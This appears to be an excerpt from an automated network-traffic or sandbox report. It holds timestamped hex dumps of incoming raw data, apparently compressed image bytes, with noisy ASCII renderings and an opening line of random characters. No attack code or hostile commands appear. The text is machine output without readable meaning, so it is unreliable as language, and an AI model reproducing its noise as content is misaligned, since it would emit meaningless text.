oRLfvk$kqsuZEUXJ,ne=a>hVV%L._3winB+qwoo=$h`'q~5m,'=F3Ky#^(Hx;kYTG(Iw+[lH)\6;~d7Wo[6y~7V&=
2022-07-20 04:06:50 UTC	1761	IN	Data Raw: 7e 65 fe a6 a4 b6 9a 26 e9 f2 b3 7d d8 3c cd ab fa 81 fc ea ba 5f a1 9f bd ce 93 b2 6f e5 7f 99 a0 d0 f9 6a a5 fe 6e 9f 2b 29 7f c7 9a 8a 44 b7 92 6c ee f2 a5 6f 9b cb da 16 a0 4b c0 6d fc 83 e5 ca ed 95 f9 99 1f 6a e7 d4 1a 93 e4 8e 16 8c 36 d6 66 ff 00 58 ab bb f1 a8 d5 ea 6f ee c5 b4 9e ab 7f eb b8 f8 6d a2 59 98 a4 b2 3b ff 00 bc 5b af b5 48 d1 dc c7 71 13 99 e3 5b 75 f9 76 ed 2b bb eb d6 a8 5c 2a 2c 89 24 5b 77 ff 00 12 f2 bf 91 eb 56 13 cb 75 63 2b 36 df ee ee fe 2f ad 69 da c7 22 4d 5e 32 8a b6 e4 96 ed 2b dc 33 bd b6 d7 fe 16 5f 99 5b fc 2a 79 1e 45 92 27 2a ca bc 6e da a7 6e 7f 1e 79 aa 16 f7 3f e9 4b 96 9e 25 65 f9 7e 60 cb f8 e6 ac 5c 30 8d a2 7f 95 97 77 cd b5 5d bf 95 53 8e a6 3c f7 8c ac f5 fb c7 de 27 99 0a c8 12 4d df 77 77 1b 57 f1 cf 15 Data Ascii: ~e&}<_ojn+)DloKmj6fXomY;[Hq[uv+\,$[wVuc+6/i"M^2+3_[yE'*nny?K%e~`\0w]S<'MwwW
2022-07-20 04:06:50 UTC	1975	IN	Data Raw: b2 4b 3e ec c5 79 e9 ba 36 f9 76 f6 e3 ad 58 56 1f 2d c0 66 69 55 4e ef 99 ff 00 a6 28 e6 7d 34 b8 d4 54 df 24 95 f9 7f 11 3e d1 72 9d 3e 55 db fe af 70 fb df 88 1c 53 21 92 55 56 c2 c7 fe d2 b4 83 76 ef ce 91 af 08 fd e7 95 2c 6d b7 6b 37 98 57 bf a5 3a 45 7d ac 03 36 d6 fb ac b9 fe a7 9a 6e 12 ea 54 71 14 da e5 8a 49 ad af 7b 8f 58 6d 96 4c a4 0c ae ab fb cd cc 17 e5 fc 78 a9 2d 64 86 e2 46 4f 35 55 bf 85 78 76 6c 7e 15 55 6f 3f 72 c7 6f cf fe cc 65 5b 6f e7 4e b7 d4 8b 46 c7 fd 69 8f e5 fd e3 6d db f9 d3 4b 94 e7 75 27 59 a9 37 b6 bd 09 6e 17 72 fe fe ce 79 53 6e df 95 4a 2a e7 e9 44 30 c9 6a be 59 5d d1 72 ca db 9f 72 fa f7 a8 d2 e0 b4 8c 5e 2f bd fc 3c aa af e3 9e d5 61 66 91 a1 f2 e2 5f fb e5 93 bf e3 cd 3f b8 98 c7 95 b6 ef 7f c4 24 84 33 2c 77 1b Data Ascii: K>y6vXV-fiUN(}4T$>r>UpS!UVv,mk7W:E}6nTqI{XmLx-dFO5Uxvl~Uo?roe[oNFimKu'Y7nrySnJ*D0jY]rr^/<af_?$3,w
2022-07-20 04:06:50 UTC	2079	IN	Data Raw: 6c 06 db b7 ef 7f 0f e3 cf b5 2b f9 8e 51 6d fc 3a 69 a9 32 4c 3f 74 7c b8 db fe 9a 6e 2d fa d3 de 3d f2 33 09 fe 46 fb bb 57 f8 bb 75 a6 99 94 34 4a ad 3b ae ef f9 ec 17 a7 e1 4b 70 a8 f7 1e 60 5f 9b fb cd 77 ff 00 d6 a4 a7 25 ab 34 9d 1a 57 e5 52 5a 58 44 91 3c b6 fb bf ef 33 16 ff 00 d0 69 fe 50 5b 75 98 79 ed b5 77 7c aa 9b 7f 53 51 dc c8 6d e6 e1 97 fd a5 65 2e bc 7d 69 89 6d 24 96 ad 14 5f 2c 6f b7 e5 8e 04 f9 b1 eb 93 54 e5 26 ae 8c fd 9c 54 b9 5f 4f eb b3 2e 6d dc ad 71 1e d6 56 ff 00 9e 8c 15 9b 1e a3 9a 74 2e cd 6e ac 24 8f 1f c3 fe 71 50 47 24 96 ad 14 4f f2 ab 7d e5 58 02 7f e8 06 ac 49 0b c3 b5 f6 32 ee 5d cc cb 1b 7f 51 5a 45 b5 a3 39 a5 06 e2 dc 15 df 98 ab 78 ca d1 c4 db b3 f7 7e 66 15 17 d9 da 49 b2 8b fc 5b 9b 6f f7 7f ef aa 73 32 3a b3 Data Ascii: l+Qm:i2L?t\|n-=3FWu4J;Kp`_w%4WRZXD<3iP[uyw\|SQme.}im$_,oT&T_O.mqVt.n$qPG$O}XI2]QZE9x~fI[os2:
2022-07-20 04:06:50 UTC	2111	IN	Data Raw: 0c bf c3 f3 31 ff 00 0a 89 e1 99 95 bc cb 98 7e 6f fa 69 91 b7 fe f9 a9 e1 b7 8f c9 d9 3c 8a df ed 2b 7f f5 c5 6b cc e2 8e 75 4d 55 92 7c d6 4c 73 3b ae e8 c3 49 b7 70 fe 2f 95 be 94 c7 68 d6 4f 2d 17 cd 5d bf c5 96 f9 bb fa 54 2a b1 ab 36 55 65 1b 76 ee 59 36 ff 00 8d 3d 1a 46 8e 2d 8a ac ab f7 55 a7 2b f8 f2 29 29 5f 72 ea 47 97 65 a5 ec 4d fb bf 33 61 6d a9 fd e6 53 f2 fe 06 9b 1c c3 cc e2 56 66 ff 00 67 ee b5 4d 22 dd 69 37 91 6e f3 11 95 96 55 dd fc 58 e7 9f ad 49 3d c2 ea fa a2 49 23 49 6d 0c cc 37 b2 e1 52 3c f7 c0 1d 05 11 ba 7a 13 3e 46 9a 92 b3 e9 fa 95 fc ed 92 27 ca bb 5b fb cb bb f2 a9 7e d3 23 4c b1 ac aa ab 27 cb b7 71 db b8 f4 c5 25 c5 b6 db 85 48 7c f6 b5 56 2b e6 4a c1 77 7a 54 e9 0a c9 0c a2 5f 35 5e 3d be 54 71 61 bc cf 5c 64 f1 8a 7c Data Ascii: 1~oi<+kuMU\|Ls;Ip/hO-]T*6UevY6=F-U+))_rGeM3amSVfgM"i7nUXI=I#Im7R<z>F'[~#L'q%H\|V+JwzT_5^=Tqa\d\|
2022-07-20 04:06:50 UTC	2214	IN	Data Raw: a9 3c 9f 96 51 1f 98 a9 fe f0 6f f0 aa 4b e6 79 78 0e db 57 e5 ff 00 f5 67 9a 9d 61 67 dc 5b 6b 7f 0b 46 db f7 52 e5 f3 1c 64 db 7a 5d 35 f9 3f 3b 0e 86 e1 95 79 6f f8 17 96 8b bb f9 d2 49 73 2b c8 d8 9d 97 e6 db d9 b6 d3 19 20 55 53 1c b1 fd d3 fe a2 32 cc bf 81 a6 f9 85 d7 61 97 cf 4d db 7f d4 9d f4 d5 9b d5 19 4e 32 84 62 93 f9 23 46 dd 36 4d 9d ac ad b7 e6 fe 15 fa f2 48 e6 9b 1a a2 af cf 16 d6 ff 00 6b 0d fc b1 55 63 61 0d c3 6c 65 65 93 1b 9b 71 5f e8 6a ef 9c f2 43 92 cd bb fd e0 df 87 38 a9 bb dd 1b ca 34 db 4a 49 2b 96 26 8a 09 ad 60 23 e5 95 72 b2 79 9b d7 e9 82 bd 8f 7c d5 64 b8 1b a5 88 ce bb 7e ee d5 6d df fa 10 a7 b5 cb bc 79 31 49 b3 77 fb 0a df ce a3 b8 ba 91 a6 c8 f3 37 af cb f7 42 ee ad 63 b9 c9 3b 46 29 b5 77 e8 ff 00 02 c4 37 12 c9 24 Data Ascii: <QoKyxWgag[kFRdz]5?;yoIs+ US2aMN2b#F6MHkUcaleeq_jC84JI+&`#ry\|d~my1Iw7Bc;F)w7$
2022-07-20 04:06:50 UTC	2310	IN	Data Raw: 6a 6b 78 77 43 93 5e d5 20 d3 fc cb 7b 17 6c e2 7b c9 04 51 70 32 77 3e 7b f6 e3 ad 54 dc 21 dc 86 25 ca e7 e6 dc 57 77 f8 d6 87 86 fc 29 3f 88 b5 ab 9d 37 4f 7b 46 9a 28 24 b9 66 9e 7f 21 76 46 bb 9b 0c f8 56 e3 a0 15 91 34 cb 26 d4 8e 5d db 72 aa bb b7 7e a6 a1 cb 9a 56 46 b4 e9 4a 95 27 ed 16 cf 47 e6 96 df 8e e4 b2 48 97 11 e0 45 e6 aa ff 00 7a 3d fe f5 b1 2f 87 26 5f 08 59 eb b2 5b 58 ff 00 67 5c dc 9b 65 58 ee 76 ce ce a3 71 ca 7d e5 1f ed 1a c4 d8 16 de 27 1b b2 df 7b 72 fd df a7 34 cf b5 0b 3b 8f 9d 59 a1 e3 72 b2 95 f3 17 d3 da b6 51 77 bc 4e 39 56 57 51 a8 9b 56 7d 7e e7 f7 f4 13 ce 92 3d c8 52 35 61 fd ef d3 9a 9f 4f d4 2e ed 2e 3c db 69 da 07 78 ca 33 46 d9 6d 87 a8 38 ab f6 77 96 77 9a e5 a0 83 4f 82 79 65 6f 29 2d a4 9b 6e ed dc 28 cf 1c 83 Data Ascii: jkxwC^ {l{Qp2w>{T!%Ww)?7O{F($f!vFV4&]r~VFJ'GHEz=/&_Y[Xg\eXvq}'{r4;YrQwN9VWQV}~=R5aO..<ix3Fm8wwOyeo)-n(
2022-07-20 04:06:50 UTC	2365	IN	Data Raw: eb 77 d2 5c de c6 a2 3f 3e 7f bc a8 3f 87 d3 6d 64 dc 29 ba 66 73 b5 55 7f 87 8d bf ad 74 de 2e 86 2f 0d e8 b0 69 fa 7e a7 06 b5 a7 4f 3c 92 45 22 c7 b5 f6 a9 c6 5f 8d ca 5b ae dc f4 ac af b4 ca f0 cf 61 a6 2d cd f6 92 b2 99 e3 f3 20 da f2 36 30 72 47 23 8e d9 a7 16 ac ac ac 8d ab 53 93 a8 95 49 73 49 ef aa 96 d7 b5 9a 6d 3d ba 77 32 b4 ab 31 77 1d c9 8e e5 60 68 a3 0c cd b7 6e ee 70 40 e7 0c 4f 7f ce bb ed 4b c7 fa b7 8f b5 4f 0e 5a 49 73 63 a6 4b a6 b4 70 41 7d 05 b0 81 61 c9 00 4a fc 73 8e a6 bc fe 35 bb 89 99 d2 0d ad 3e 15 76 fd ee 4f 6c 77 ae c7 c2 f6 be 13 b7 d2 75 b4 f1 55 cd ed a6 b9 6f 10 5d 3a 1b 78 ff 00 d6 4d ff 00 4d 19 be ee 3b f4 aa 9a 56 bb d5 fd e7 9f 41 4e 13 74 e3 25 0e 6f 75 b7 a2 b6 e9 4b d6 cf a1 99 e2 4f 0e be 9b e2 cb ed 39 b5 2b Data Ascii: w\?>?md)fsUt./i~O<E"_[a- 60rG#SIsIm=w21w`hnp@OKOZIscKpA}aJs5>vOlwuUo]:xMM;VANt%ouKO9+
2022-07-20 04:06:50 UTC	2460	IN	Data Raw: a6 e9 df bf 9f 43 ba d5 af e3 d5 2d e4 8e 09 59 67 66 dc d2 37 f0 e3 b0 ad 0d 11 ca 2c a6 dd b7 fc db 7c cf e1 ff 00 f5 d5 38 ed e4 37 18 92 29 3e 64 db f2 ae d5 5f ff 00 5d 5f bc 9a 2b 7d 2f 0e be 52 2f fc b3 e1 77 37 6e 7b d7 e6 32 9b d9 1f d1 70 82 8a 6d 97 6d e6 b9 b7 ba f3 53 fd 6f f7 a4 f9 77 76 e3 b7 15 ca 78 eb c6 63 c3 ab e5 c1 17 9b 3f fa c6 69 3e e2 e7 bf b9 cd 72 3e 33 f1 f4 b6 aa df bf f2 95 59 57 6f de dd ec be de b5 e4 1a e7 89 2e 75 eb 8f 2c 37 cb 23 7d d5 6f 97 77 d2 b4 a3 49 d4 df 63 9a b5 5e 57 65 b9 b7 ab 78 b1 2f ae 27 96 e2 79 27 9d fe 5d df 7b 77 b6 2a 1d 36 c6 7d 42 3f 32 38 3c 88 15 be 69 19 b7 33 55 2d 0f 45 b7 9a 66 fb 67 98 92 c7 fc 3f c2 df 8d 6b ad c3 ab 35 b5 b2 ab 22 e7 77 f7 23 fc 6b a6 56 5a 40 50 d2 d2 93 35 2d af ed b4 Data Ascii: C-Ygf7,\|87)>d_]_+}/R/w7n{2pmmSowvxc?i>r>3YWo.u,7#}owIc^Wex/'y']{w*6}B?28<i3U-Efg?k5"w#kVZ@P5-
2022-07-20 04:06:50 UTC	2548	IN	Data Raw: 3e 45 47 fd a7 15 29 bd 1a 92 b7 7b 42 0f f0 4f 4f 56 7c 36 cc 9f ed 33 2f cb 4c 6f 97 f8 76 b7 f7 be f5 3b eb ba 97 9d b8 da ab 5f 36 f7 3e da 3a ea 47 b7 6f 03 73 37 fb db 69 8c a5 7a ae da 91 be 76 e3 e6 ff 00 76 9a aa 7b fc bf ef 52 28 62 ae ee 3e fd 0a 36 b7 2b b6 9f f7 b8 dd f3 50 14 6e ff 00 76 99 22 ed 3b b8 a7 ed da d8 ff 00 d0 69 ad f3 b6 07 dd a7 aa 84 6e 6a cc e5 74 3b 8d df 76 9c ab fe cd 22 fc df ee d3 93 0a b5 69 1c f2 77 1c 8c 11 5b 2b f7 a9 9b 06 ec ee a7 f9 7e 94 33 1e 9f dd ad 2c 60 db d8 17 1b 79 6a 39 55 e2 8d e7 b5 0a a1 9b 8d bb 96 99 1d 05 db bb af dd ff 00 6a 93 6e ef fe c5 68 fe 2c ed f9 a9 77 6e 6c ee ff 00 be 68 16 e1 ca f5 f9 69 55 4b b7 14 8b f2 b6 4a ff 00 df 54 6e 66 6f bd ff 00 7c d3 b0 bd 05 f9 97 fb b4 ed df 37 2d 4d 5c Data Ascii: >EG){BOOV\|63/Lov;_6>:Gos7izvv{R(b>6+Pnv";injt;v"iw[+~3,`yj9Ujnh,wnlhiUKJTnfo\|7-M\
2022-07-20 04:06:50 UTC	2612	IN	Data Raw: 6d 1a b7 cd bb 3f 33 60 9e 9c 0a fb 17 c4 0b 3e ab 36 87 7f a3 df 5b 45 14 99 92 75 92 0d eb 75 19 03 6f ce 08 2b b5 b7 11 fe f5 79 77 ec 7b e0 d8 bc 1b f0 bf 4c 8e 58 99 75 1d 59 4d dc 9f 29 f9 51 ba 02 7a 0f 92 bd 02 df 54 d6 df c7 93 d9 1d 31 67 d0 59 8b 47 aa 7d b4 33 c6 e7 e6 75 68 db 9d bb ce d5 c7 00 0a eb 7b a8 f6 fe bf 53 c9 cb fd fa 55 71 2d 7c 6d bf fb 77 e1 8b fb 92 67 71 6f 08 48 f2 17 72 b5 7c cf fb 4b a7 f6 e7 c6 ef 86 9a 24 7f 33 c8 d1 ee 55 fb df 34 f9 fe 95 f5 0c 6c 11 78 6a f9 f2 3d 2d 3c 71 fb 70 69 51 05 dd 06 87 68 93 cb fe fa c7 9e 7f 16 15 74 74 aa 9f 6b bf c0 df 30 7f f0 9d 88 8f 59 a5 15 eb 29 24 8f 56 f8 8b 79 bb c5 5e 25 d9 75 1c f1 59 e9 0c be 44 7f 7e 36 20 29 dd fe 7b 57 cb 1a 24 26 4b a9 48 f9 76 b6 ea fa 1f e2 25 cd b6 9f Data Ascii: m?3`>6[Euuo+yw{LXuYM)QzT1gYG}3uh{SUq-\|mwgqoHr\|K$3U4lxj=-<qpiQhttk0Y)$Vy^%uYD~6 ){W$&KHv%
2022-07-20 04:06:50 UTC	2675	IN	Data Raw: ba ab 5a 1e 0b d3 e5 bf d7 2c fc 98 99 f7 4f 1a b6 df e1 cb 8a cd b8 70 9f fa 0d 75 ff 00 04 dd e6 f8 81 a6 45 02 ae d9 65 0a cc df 37 03 e6 3f ca 95 4b db 42 25 ee c5 dc e7 fe 27 5b db eb 9f b5 32 c7 6c fe 6a cb e4 44 bf c2 db 8c c0 1f e5 5f 79 dc da c5 b9 be 5f 9a be 20 f8 6f 62 9e 2a fd ae 9d e3 fd ec 56 b7 21 99 9b f8 7c b0 f2 1f d7 15 f7 0c ce 37 64 b5 71 b7 fe cf 4a 2f b3 7f 7b 39 e2 94 b3 9c 75 48 ec b9 21 ff 00 80 c5 5f f3 38 f7 b0 fb 45 d6 bc 91 45 bb f7 e8 dd 97 e6 f2 53 d4 d7 ca ff 00 1f 34 5d 4f c3 d6 b1 4b ad cf 26 a7 06 a1 ab 9b 98 20 9d 87 fa 3c 71 c3 f7 14 27 cb d5 ab ea a4 b9 11 c9 af 49 fb c6 66 bb db f2 c6 5b a4 68 3b 57 cb ff 00 18 bc 3b e3 0f 1a 6b 9a 46 9c ba 66 a5 e2 5b d8 e5 bc 9e 08 34 db 22 ab 1a 30 c4 51 ba 8c fc d8 56 ea 69 c1 Data Ascii: Z,OpuEe7?KB%'[2ljD_y_ ob*V!\|7dqJ/{9uH!_8EES4]OK& <q'If[h;W;kFf[4"0QVi
2022-07-20 04:06:50 UTC	2843	IN	Data Raw: 76 9a 5f c5 8f 88 1e 23 d1 e0 f0 b6 87 79 a7 f8 1f c2 ba c4 73 ec b6 8f cb b1 b0 d8 14 f9 b9 9d b2 72 d8 e7 9c 93 c5 78 a5 e6 93 a7 e9 b2 6a 11 3c f0 5c cb 6c c2 28 e4 b4 66 95 26 f7 57 c0 f9 46 3a d7 5f 3d e5 79 7e 67 ca c6 1e cf 0e dd 15 ac bd d7 74 ac af aa 71 6d dd 5f 5b b1 1b 4d fb 2e 9f 12 4d e6 4b 3b 49 b5 63 59 03 a7 38 c7 03 92 d4 db ad 26 ea ce 66 b3 9d 67 b6 bb 81 9e 39 6d 99 42 bc 6c a7 04 15 3d e8 d1 ed 74 cb ab 88 bf b4 ee 6e 74 cb 75 df 22 c9 1a 99 db 7e 38 e0 60 f2 78 ce 78 ab b6 eb a5 3d bf da e7 96 e6 7d 45 a5 99 64 8d 94 79 6b 18 03 64 9b f3 b9 9b 76 72 b8 fc 6a f9 b5 38 a1 4d 28 de da db d3 5d 6f ff 00 0e bd 0c 59 1a 57 8d ed dd fe 65 ce d6 6f 95 95 85 40 b2 4c f1 82 ee be fb 5b e6 e2 ad 49 04 9e 73 3b 4f 26 ef bc b2 6d dd 55 5a 1d b7 Data Ascii: v_#ysrxj<\l(f&WF:_=y~gtqm_[M.MK;IcY8&fg9mBl=tntu"~8`xx=}Edykdvrj8M(]oYWeo@L[Is;O&mUZ
2022-07-20 04:06:50 UTC	2866	IN	Data Raw: 47 18 8f cd 92 79 7c 88 23 f9 a4 91 be ea fb 0f f1 af 24 f1 07 c4 eb bf 16 dc 6a 76 89 6c da 0f 86 b4 d9 0a cf aa 48 df eb 17 b0 45 eb bc 8e 9e 95 73 c7 de 2e fe d0 b5 9e e2 2b 96 b1 d0 6d 30 b2 7c a1 7e 6f 62 dd 5f d1 79 af 9d fc 55 f1 62 2f 19 5e 45 a5 c1 bb 47 d3 6d 9f 6c 1a 6d cb 6d 79 1b fe 7a 39 3c 33 1a c6 31 95 79 3e 55 a1 e8 38 c7 0b 15 29 bb 3f cb c8 d1 f1 af 8c a5 f1 6e a1 14 76 d0 35 b6 91 6d 95 b2 b4 ff 00 67 fe 7a 37 ab 1a 8f 4f b0 10 ae f3 b7 7a fd ea 75 86 9a 16 35 72 db b7 7d e6 fe 82 aa eb 7a 92 59 c7 88 db e7 5a ed 8c 63 15 68 9c 8e a4 aa 3e 67 b1 5f 5c d5 36 47 e5 46 cb b7 ee ed ae 7a da 13 70 de 63 fd d5 ff 00 6a 98 8a 6f ae 37 bb 7c ad f7 7f dd ab fb 84 6a a0 7c ca bf 7a ba 63 a1 c5 52 57 f7 50 36 15 b0 7e ef f7 6a b7 98 66 93 01 bf Data Ascii: Gy\|#$jvlHEs.+m0\|~ob_yUb/^EGmlmmyz9<31y>U8)?nv5mgz7Ozu5r}zYZch>g_\6GFzpcjo7\|j\|zcRWP6~jf
2022-07-20 04:06:50 UTC	2930	IN	Data Raw: 73 f2 9d df 2f fd f3 4e 46 f9 58 ee ff 00 80 b5 57 50 b6 83 15 fe 5c 06 da bf dd a7 33 27 cb f3 6e fe f6 e5 a1 5b 67 1b be 55 fe ed 2a b6 e5 c9 66 65 a4 0d 32 58 52 3d ab 24 90 6e 5e 7e 58 fe 56 ff 00 0a 4d d2 b2 e3 ca 55 fc bf ad 41 23 05 e0 b5 2b 22 6e 40 3e f7 f0 d3 bb 27 97 a9 37 ef 1e 45 0f f3 26 ef bb b6 a4 ba b3 95 2e 1a da 58 9a 2b 85 6d ad 1c 8b b5 95 87 5c 83 50 db c8 21 93 7a 6e 66 65 fe ef dd a7 bb fe f9 99 ff 00 7b b9 77 79 9c b3 53 0d 2f a9 12 b2 33 37 de ad 0f b3 da 43 a7 c1 37 9f 24 97 93 49 22 b5 a2 ae df 2d 46 36 b1 63 c1 ce 5b 81 d3 6d 51 46 2b b4 bf fd f3 b6 86 6d ff 00 39 fb bf ee d3 8b d0 ce 51 6f 66 3b f7 8d 26 7c a6 ff 00 bf 74 ac f1 3f 21 be ef fb 34 c4 ca ee 91 3f 87 fb b4 f6 90 a7 05 be 6f f6 97 75 30 d7 66 35 58 37 1f 79 bf dd Data Ascii: s/NFXWP\3'n[gU*fe2XR=$n^~XVMUA#+"n@>'7E&.X+m\P!znfe{wyS/37C7$I"-F6c[mQF+m9Qof;&\|t?!4?ou0f5X7y
2022-07-20 04:06:50 UTC	3041	IN	Data Raw: 67 61 9b 8f 4f bd 52 2b 76 fe 2a 61 4d ad 8a 7a e3 a0 5f 9a a8 81 57 de 8d a5 9a 97 6f 97 cb d2 f2 dc d0 21 8c db 3a 7d ea 38 fe 3f bd 4b b7 6f fc 0a 93 6e da 2f a1 16 13 6f a5 0c 0f ca 07 dd a3 6b 2d 0a dd 8d 01 a3 0d a1 7f da 6a 63 65 9a 95 bd be ed 1f 75 69 31 21 79 a6 b2 ee 5c 8f bd 4a ed e9 f7 a9 17 ff 00 1d a5 b0 6a d0 cd bb 5b 14 ed c7 6f f7 56 9b b8 06 e2 9c d9 ea 7f 8a 8e a0 35 9c 27 45 f9 bf da a1 b0 dd 5f e6 a7 6e db c0 f9 7f f4 2a 66 d3 f7 7f f1 ea 02 d7 d4 55 f9 7a 51 c3 70 17 73 51 f7 7a d2 73 bb fb 94 0c 55 6f ef 35 27 1f 36 16 8e 3a 9a 7a e5 97 3f 75 69 86 c8 6b 2e de 4b 7f c0 68 dc 57 fd 9a 4f e2 fe f5 3f 71 dd 8a 57 05 7e a3 07 fe 3b fe d5 2f 1b 78 f9 a9 cf 86 ff 00 e2 7f 8a 9a cc 8a df ec ff 00 76 8b f7 0b 5c 73 6e 6e 0f fd f2 b5 1c 89 Data Ascii: gaOR+vaMz_Wo!:}8?Kon/ok-jceui1!y\Jj[oV5'E_nfUzQpsQzsUo5'6:z?uik.KhWO?qW~;/xv\snn
2022-07-20 04:06:50 UTC	3073	IN	Data Raw: c9 7b 7d 1c cf 75 33 48 30 0b 2a 94 55 c7 51 81 81 43 95 95 92 d3 f0 e8 6d 87 a5 ac 66 df 24 af ce ff 00 9d 69 25 a2 57 71 76 b2 fc d1 f3 1e b7 1d 8d 8e b4 d6 da 45 cd cd e5 9a a8 86 29 e7 5f 9b 71 c1 38 5f 4d d9 c7 15 da 59 fe ce be 30 7f 09 ea be 23 d4 f4 f5 f0 d6 91 62 a1 bc fd 66 41 6c d7 4c db 76 ac 69 f7 99 b9 cf 4d be f5 a1 a9 7e ce fe 2c d0 bc 41 fd 8d 1e 91 73 ab eb 12 2e df 2e c6 74 b9 6b 76 5d 85 99 96 36 2c 02 97 0a 49 18 07 e9 5e b1 aa fc 39 f0 47 c0 db 38 a5 f8 85 a8 41 a9 f8 c1 91 df fe 11 7b b9 26 92 da d5 19 08 4c 6c c8 95 81 c3 72 ea 05 39 c9 72 ae 5d fe f3 2a 38 7a b5 71 6e 13 8b e4 49 37 f6 6c b6 bc 9d bd db f6 b5 db 3e 74 f1 47 83 97 c0 3e 2e 3a 5e b9 aa da 5e 41 12 a1 95 b4 7b d4 b9 5e 53 70 55 90 0d a5 bd 6b 6f c2 9e 31 f0 be 87 e1 Data Ascii: {}u3H0UQCmf$i%WqvE)_q8_MY0#bfAlLviM~,As..tkv]6,I^9G8A{&Llr9r]8zqnI7l>tG>.:^^A{^SpUko1
2022-07-20 04:06:50 UTC	3173	IN	Data Raw: ff 00 2c 34 ff 00 f4 a7 e3 b7 ee f2 3f 5a 98 ca 73 76 82 fb 8a 94 21 04 a5 52 5f a2 7f 91 1f 84 fe 0a f8 2f c0 ca bf d8 5e 1a d3 74 d9 57 ee cf 1d b0 69 7f 17 6c b1 fc eb ab b8 d3 63 b9 8f 64 bb 6e 51 b0 db 59 43 2f 1d 38 af 34 93 e3 ae a7 ad 2f fc 52 9e 02 d5 35 05 6f bb 77 ab 30 b3 8b eb 8e 58 fe 62 b0 ef bc 45 e3 bb f5 9d fc 41 e3 1d 27 c1 96 6b ff 00 2c 34 98 c2 be d3 ff 00 4d 64 25 89 fa 55 fb 09 de f3 76 f5 ff 00 80 4a c4 51 4a d4 55 fd 17 fc 32 fc 4f 6c b9 b9 b4 d1 6c da e7 50 9e db 4f b5 55 ff 00 59 77 20 89 14 7d 58 8a e4 2e 7e 36 78 6e 49 bc 8d 12 2d 4b c5 97 1f 77 fe 25 36 c7 ca fc 65 93 0b f9 66 bc 65 35 2f 03 59 ea 1e 63 ad f7 8c f5 6f bc b7 7a 84 8f 2e ef a6 fe 3f 25 35 62 c7 c5 df 10 75 0b 56 fe d0 d1 74 ff 00 07 69 8a c7 cb b9 92 41 12 ec Data Ascii: ,4?Zsv!R_/^tWilcdnQYC/84/R5ow0XbEA'k,4Md%UvJQJU2OllPOUYw }X.~6xnI-Kw%6efe5/Ycoz.?%5buVtiA
2022-07-20 04:06:50 UTC	3260	IN	Data Raw: b7 93 e4 cf 96 13 ef 6e 1e c0 01 d2 b3 f4 ff 00 84 7a 95 8f 86 25 f1 5f 84 bc 5d 0d 9e a3 3f 98 90 68 1a 6c 93 b5 f4 d0 e7 69 c6 06 76 9e b8 6e a2 a2 50 53 b5 4a 92 f4 36 a5 7c 25 65 86 a7 45 4a 73 51 93 bb bb 5b a9 2b b4 95 f4 7e 5a a5 b9 57 f6 8e fd a1 35 7f 8b 8d 69 65 a8 46 ab 6b 63 3b b4 12 35 90 82 eb 71 03 2a dc 9c 01 e9 f9 d5 0d 2b c4 3e 16 f8 99 aa 78 73 4b 1e 17 be d1 7e c7 6c 90 37 fc 23 ec 65 7b a9 39 df 2b a3 7a 9d b9 03 fd af 6a fa 0b 41 f8 7f ab 7f c2 2f a6 59 5b fc 2e f1 06 9f 69 aa 59 8f ed eb f9 23 82 ea ea f2 e6 3c bc 4f 1a c8 49 8d 0b fd f3 c7 cb c6 3b 9c 6f 19 eb 1e 00 f8 5f a2 cf e2 0d 0f 5e 93 fe 13 9d 4e 33 14 92 78 7f 64 5e 5b 13 b6 75 30 15 fd c2 81 c6 3d 45 44 6a 42 5a 42 3b 1d 35 a8 e2 b1 4e 35 5d 4e 5b c6 da f4 8d d3 b5 ed bd Data Ascii: nz%_]?hlivnPSJ6\|%eEJsQ[+~ZW5ieFkc;5q*+>xsK~l7#e{9+zjA/Y[.iY#<OI;o_^N3xd^[u0=EDjBZB;5N5]N[
2022-07-20 04:06:50 UTC	3276	IN	Data Raw: 76 fd d5 a6 2b c6 ad ff 00 b2 b5 31 75 2f 49 74 8b 27 0c bf ed 2d 39 ae 82 33 7d ed d5 9f e6 23 2f 1f 37 f0 d0 b7 9f 2f de db fc 3f 35 09 f5 63 d3 a1 69 f5 03 f2 84 56 ff 00 6a a3 7b a9 59 70 7e eb 7c df 35 53 69 3e 6c 0a 72 c8 1b 92 db bf e0 54 e4 f4 b2 25 93 fd a5 ca f2 dc ff 00 b3 49 e7 1f 2f ef 33 54 3e 64 48 ce 47 de 6a af fd a8 8a ac 37 6e 5f bd 52 8a b3 2f 6e 0d fe d2 af fe 3d 51 fb 05 da b5 9f fd ac 3a 0f e1 f9 b6 d4 6f a8 07 6c 3f fe 3d 4f 54 82 d7 66 af 98 36 ec 7d bb bf c6 99 1c 81 5b 22 5a c7 9b 50 2d fc 3b bf da a4 b7 b7 bd d5 a6 f2 ec ed a7 b9 97 fb b0 46 5d bf 21 49 3b ec 12 8a 8a d4 dd fb 44 6a bb dd b7 6d fb d5 5d ef cf fc b3 8b 76 ef 95 6b a6 f0 df c0 ff 00 88 3a d3 62 0f 0a ea 11 41 27 fc b7 bb 51 14 6b ee 77 63 8f c2 bb 8b 7f d9 e5 34 Data Ascii: v+1u/It'-93}#/7/?5ciVj{Yp~\|5Si>lrT%I/3T>dHGj7n_R/n=Q:ol?=OTf6}["ZP-;F]!I;Djm]vk:bA'Qkwc4
2022-07-20 04:06:50 UTC	3365	IN	Data Raw: ba eb fc 35 ed bf 3d 8d e7 d9 ee 17 cf b0 9d 76 ae ef e1 6f a5 71 de 36 f0 7f f6 7f fa 65 9a b3 5b b7 f1 2f f0 b7 a1 ad e1 51 c1 d8 e5 ad 45 4d 73 23 cb 9e 32 8d 83 51 b2 d6 ad cc 3b ff 00 87 6b ff 00 7a b3 ae 23 31 b6 1d 76 b5 7a 90 9a 91 e1 55 a6 e2 40 cb f3 54 6c 36 ff 00 b5 52 33 6d e9 ff 00 02 a8 db e5 fe 1f bd 5a a3 92 c2 7c ab 47 de eb 51 ae f6 6c d3 b7 0f 9c 7f e3 d5 a1 01 b4 35 1f 7a 9d b7 6f fb d4 cd de b4 80 56 5f 4a 39 ff 00 80 d0 cc 56 8d db 9b 9f 96 95 c4 0b fa d3 a9 39 a5 f6 14 0c 1b 14 bb be 6e 29 19 47 4a 37 16 ff 00 66 9e 9d 44 ef d0 38 ff 00 78 ff 00 e3 b4 df 99 ba d3 b7 15 e2 97 6e de b4 8a 13 de 93 6f fd f5 fe cd 2f de a5 dd b3 9e ed 40 08 cb f2 f3 4a cf bb f8 69 15 77 37 34 aa c1 7f dd fb b4 0c 3d cd 3f 70 ed 4c 6f 9b 93 f7 69 51 42 Data Ascii: 